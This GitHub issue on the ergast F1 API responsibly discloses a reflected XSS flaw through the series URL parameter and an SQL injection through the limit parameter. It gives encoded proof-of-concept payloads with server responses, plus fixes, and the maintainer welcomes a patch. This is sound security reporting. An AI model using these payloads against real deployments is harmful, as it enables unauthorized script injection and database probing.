ergast-f1-api icon indicating copy to clipboard operation
ergast-f1-api copied to clipboard

Published 20 hours ago • verified publisher icon jcnewell

Security Vulnerabilities in the API

Open ctuckz opened this issue 7 years ago • 1 comments

Not all input/output is being sanitized, making the API vulnerable to XSS and SQL injection attacks

  1. XSS The error function in functions.inc does not encode the $message parameter before putting it in the HTML, allowing an attacker to inject javascript into the HTML returned by the server. This can be accomplished by sending a malicious value in the series parameter in the url.
GET http://localhost:8000/api/%3Cimg%20src%3Dx%20onerror%3D%22%26%230000106%26%230000097%26%230000118%26%230000097%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000058%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000039%26%230000088%26%230000083%26%230000083%26%230000039%26%230000041%22%3E

<html>
  <head>
    <title>Error</title>
  </head>
  <body>
    <h3>Series Not Found: <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"></h3>
  </body>
</html>

Most browsers will strip the javascript from the response, but you can see that the javascript has been injected by making the request in curl. I was able to execute the javascript by saving the response as an HTML file and opening it.

This attack can be mitigated by using the htmlspecialchars function to encode $message before placing it in the HTML.

  1. SQL Injection The limit and offset parameters are not sanitized by the clean function before being used in queries. This allows an attacker to inject SQL commands into the query executed by the database. It is difficult to perform malicious queries because the injection happens in the LIMIT clause, but attacks have been discovered (and since patched): https://osandamalith.com/2016/05/29/mysql-dos-in-the-procedure-analyse-function-cve-2015-4870/

You can (safely) see this in action by adding procedure analyse() to the limit parameter in a request:

GET http://localhost:8000/api/f1/circuits?limit=10%20procedure%20analyse%28%29

<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://ergast.com/schemas/mrd-1.4.xsl"?>
<MRData xmlns="http://ergast.com/mrd/1.4" series="f1" url="http://ergast.com/api/f1/circuits" limit="10 procedure analyse()" offset="0" total="73">
	<CircuitTable>
		<Circuit circuitId="ergastdb.ci.circuitRef" url="0">
			<CircuitName>adelaide</CircuitName>
			<Location lat="11" long="0">
				<Locality>boavista</Locality>
				<Country>3</Country>
			</Location>
		</Circuit>
		<Circuit circuitId="ergastdb.ci.name" url="0">
			<CircuitName>Adelaide Street Circuit</CircuitName>
			<Location lat="30" long="0">
				<Locality>Scandinavian Raceway</Locality>
				<Country>4</Country>
			</Location>
		</Circuit>
		<Circuit circuitId="ergastdb.ci.location" url="0">
			<CircuitName>Adelaide</CircuitName>
			<Location lat="10" long="0">
				<Locality>Sakhir</Locality>
				<Country>4</Country>
			</Location>
		</Circuit>
		<Circuit circuitId="ergastdb.ci.country" url="0">
			<CircuitName>Australia</CircuitName>
			<Location lat="10" long="0">
				<Locality>USA</Locality>
				<Country>2</Country>
			</Location>
		</Circuit>
		<Circuit circuitId="ergastdb.ci.lat" url="0">
			<CircuitName>-37.849700927734375</CircuitName>
			<Location lat="8" long="0">
				<Locality>57.26530075073242</Locality>
				<Country>7</Country>
			</Location>
		</Circuit>
		<Circuit circuitId="ergastdb.ci.lng" url="0">
			<CircuitName>-97.64109802246094</CircuitName>
			<Location lat="8" long="0">
				<Locality>144.96800231933594</Locality>
				<Country>7</Country>
			</Location>
		</Circuit>
		<Circuit circuitId="ergastdb.ci.url" url="0">
			<CircuitName>http://en.wikipedia.org/wiki/Adelaide_Street_Circuit</CircuitName>
			<Location lat="58" long="0">
				<Locality>http://en.wikipedia.org/wiki/Scandinavian_Raceway</Locality>
				<Country>33</Country>
			</Location>
		</Circuit>
	</CircuitTable>
</MRData>

Note the database column names in the circuitId fields. While currently it may not be possible to exploit this against a patched version of MySQL, undisclosed or future vulnerabilities may be able to use this as an attack vector. This attack can be mitigated by only allowing numeric values for the limit and offset query parameters.

I'd be happy to submit a PR to fix these issues if you're open to it

ctuckz avatar Oct 19 '17 02:10 ctuckz

Thanks for the observations. Yes, a push request would be very welcome.

jcnewell avatar Oct 19 '17 08:10 jcnewell